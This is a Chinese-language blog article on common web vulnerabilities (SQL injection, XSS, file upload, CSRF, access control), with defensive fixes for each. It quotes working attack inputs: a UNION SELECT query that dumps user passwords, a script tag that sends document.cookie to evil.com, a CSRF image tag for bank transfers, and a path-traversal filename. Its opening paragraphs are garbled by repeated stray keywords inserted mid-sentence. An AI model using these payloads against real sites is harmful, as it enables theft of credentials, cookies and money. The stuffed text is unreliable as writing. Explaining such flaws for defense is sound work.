网页漏洞常见问题

去年有个做电商的网页问题朋友找我，说网站被挂马了，漏洞首页莫名其妙跳转到博彩页面。网页问题我上去一看，漏洞后台登录框还在，网页问题但数据库里多了一张从没见过的漏洞管理员表——攻击者自己加了个账号。这事儿的网页问题根子，其实就是漏洞一个文件上传接口没做类型校验。

网页漏洞从来不是网页问题什么高深莫测的东西。大部分出问题的漏洞地方，都是网页问题开发者觉得“应该不会有人这么干”的角落。

SQL注入：老牌漏洞，漏洞但一直没死透

我见过一个后台查询功能，网页问题URL 里直接拼 ?漏洞id=1，然后 SQL 语句写成 SELECT * FROM orders WHERE id = $id。网页问题攻击者把 1 换成 1 UNION SELECT username, password FROM users，整个用户表就出来了。这种写法在 2024 年还能碰到，说出来你可能不信，但确实有。参数化查询能解决 99% 的注入问题，可总有人图省事用字符串拼接。框架自带的 ORM 不用，非要手写 SQL，手写也就算了，还不做过滤。

XSS：用户输入直接当 HTML 渲染

评论区、昵称、个人简介——只要用户能填的地方，把内容原样输出到页面上，就可能中招。有个论坛的昵称字段，有人填了 <script>fetch('//evil.com?c='+document.cookie)</script>，结果所有浏览该用户主页的人，Cookie 全被偷走了。HttpOnly 标记能挡住一部分，但很多人连这个都没设。更隐蔽的是 DOM 型 XSS，前端用 innerHTML 拼接用户输入，服务端根本看不到异常。

文件上传：最容易被低估的入口

回到开头那个案例。上传接口只检查了 Content-Type，攻击者把 .php 文件改成 image/jpeg 就绕过了。更粗暴的是，有些系统连后缀都不改，直接传 shell.php，因为后端压根没做白名单。我自己的做法是：后缀白名单 + 文件头校验 + 上传目录禁止执行脚本。三条缺一条，都可能出事。还有个细节——上传后的文件名别用用户提供的，用随机字符串重命名，否则 ../../etc/passwd 这种路径穿越也能玩出花来。

CSRF：你点了链接，钱就转了

有个银行站点的转账接口用 GET 请求，参数是 to=xxx&amount=1000。攻击者做个图片标签 <img src="https://bank.com/transfer?to=attacker&amount=1000">，只要用户登录着网银，打开页面钱就没了。现在主流框架都有 CSRF Token 机制，但有些老系统还在裸奔。判断标准很简单：任何改变状态的操作，如果只靠 Cookie 鉴权、没有额外随机令牌，基本都有问题。

越权：改个 ID 就能看别人数据

这种漏洞最尴尬——功能逻辑全对，就是没校验“这个数据属不属于当前用户”。比如 /api/order/123 改成 /api/order/124，就能看到别人的订单。水平越权查数据，垂直越权干管理员的活。我见过一个系统，普通用户把请求里的 role=user 改成 role=admin，直接进了后台。修复方法不复杂：每次操作都从 Session 里取用户 ID，和请求的资源做归属比对。别信前端传来的任何身份标识。

漏洞这东西，写代码的时候多问一句“如果用户不按套路来会怎样”，能避开大半的坑。剩下的，靠定期扫一扫、改一改，别等出了事再补。

本文地址：http://www.79wt.cn/news/840f1099149.html